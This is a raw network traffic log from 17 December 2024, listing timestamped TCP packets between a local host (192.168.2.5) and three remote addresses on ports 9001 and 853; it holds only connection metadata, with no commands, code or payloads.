Dec 17, 2024 11:49:36.208856106 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.208897114 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.209064960 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.209104061 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.210124016 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.210191011 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.210201025 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.210237026 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.210918903 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.210937023 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.210966110 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.211004019 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.211988926 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.212033033 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.212069035 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.258620977 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.286242008 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.296757936 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.299055099 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.310039997 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.321288109 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.321963072 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.332218885 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.334450960 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:36.348948002 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.349009991 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.349037886 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.349565029 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.349628925 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.349639893 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.350570917 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.350613117 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.350662947 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.351597071 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.351640940 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.351715088 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.352711916 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.352754116 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.352837086 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.353811979 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.353864908 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.353907108 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.354844093 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.354892015 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.355057001 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.356061935 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.356168985 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.356219053 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.357117891 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.357182026 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.357207060 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.357924938 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.358045101 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.358079910 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.359003067 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.359046936 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.359116077 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.360094070 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.360176086 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.360244036 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.361154079 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.361224890 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.361252069 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.362276077 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.362397909 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.362421989 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.363326073 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.363375902 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.363470078 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.364372969 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.364430904 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.364545107 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.365840912 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.365901947 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.365957022 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.366966009 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.367013931 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.367037058 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.367803097 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.367846012 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.367846966 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.368556976 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.368630886 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.368674040 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.369658947 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.369724035 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.369752884 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.370688915 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.370732069 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.370867968 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.371769905 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.371810913 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.371824980 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.372812986 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.372869015 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.372917891 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.373867035 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.373951912 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.373999119 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.374913931 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.374969006 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.375015020 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.376069069 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.376143932 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.376183987 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.377084017 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.377131939 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.377239943 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.378232956 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.378269911 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.378276110 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.379165888 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.379218102 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.379290104 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.380244017 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.380323887 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.380326986 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.381354094 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.381396055 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.381409883 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.381417036 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.382457972 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.382492065 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.382520914 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.383443117 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.383493900 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.383538961 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.384530067 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.384643078 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.384663105 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.385554075 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.385612965 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.385663033 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.386677027 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.386732101 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.386759043 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.387708902 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.387742996 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.387789965 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.388794899 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.388832092 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.388845921 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.389790058 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.389837027 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.389915943 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.390856028 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.390904903 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.390974998 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.391964912 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.392014027 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.392100096 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.393541098 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.393584013 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.393656969 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.394339085 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.394387960 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.394413948 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.395091057 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.395145893 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.395143986 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.396159887 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.396208048 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.396305084 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.397226095 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.397272110 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.397320986 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.398355961 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.398401022 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.398478985 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.399359941 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.399403095 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.399499893 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.400413990 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.400515079 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.400521994 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.401470900 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.401555061 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.401602983 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.402573109 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.402658939 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.402695894 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.403692961 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.403803110 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.403877974 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:36.426723003 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.426780939 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.426824093 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.433433056 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.433495045 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.433537960 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.433762074 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.433898926 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.434004068 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.434554100 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.434662104 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.434684992 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.435250044 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.435298920 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.435384989 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.436037064 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.436094999 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.436151028 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.436772108 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.436847925 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.459301949 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.459444046 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.459528923 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.465704918 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.465760946 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.465811014 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.466100931 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.466136932 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.466877937 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.466960907 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.467094898 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.467165947 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.467166901 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.467919111 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.468008041 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.468034983 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.468610048 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.468756914 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.468760014 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.469410896 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.469463110 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.469505072 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.470148087 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.470215082 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.470276117 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.470946074 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.471035004 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.471085072 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.471738100 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.471841097 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.471925974 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.472481012 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.472547054 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.472585917 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.473309994 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.473505020 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.473541021 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.481637001 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.482398987 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.482436895 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.482521057 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.482553959 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.484107971 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.486082077 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:36.493856907 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.493895054 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.493928909 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.493999958 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.494273901 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.494344950 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.500155926 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.500188112 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.500232935 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.500232935 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.500274897 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.500348091 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.500375986 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.500428915 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.501015902 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.501069069 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.501084089 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.501126051 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.501581907 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:36.501796961 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.501849890 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.501854897 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.501910925 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.503360033 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.503401041 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.503432035 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.503536940 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.503968000 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.504045963 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.504049063 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.504081011 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.504502058 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.504586935 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.504635096 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.504980087 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.505001068 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.505047083 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.505047083 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.505748987 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.505770922 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.505817890 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.505817890 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.506575108 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.506663084 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.506701946 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.506701946 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.507262945 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.507334948 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.507339001 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.507394075 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.508032084 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.508054972 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.508116961 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.508775949 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.508887053 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.508912086 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.508959055 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.509663105 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.509736061 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.509795904 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.509845972 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.510445118 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.510483027 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.510488033 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.510529995 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.511219025 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.511279106 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.511311054 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.511358976 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.511995077 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.512077093 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.512115955 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.512115955 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.512794971 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.512840986 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.512945890 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.513012886 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.513463020 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.513514996 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.513592005 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.514203072 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.514302969 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:36.514328003 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.514369965 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:36.514961958 CET	9001	49721	23.233.0.213	192.168.2.5
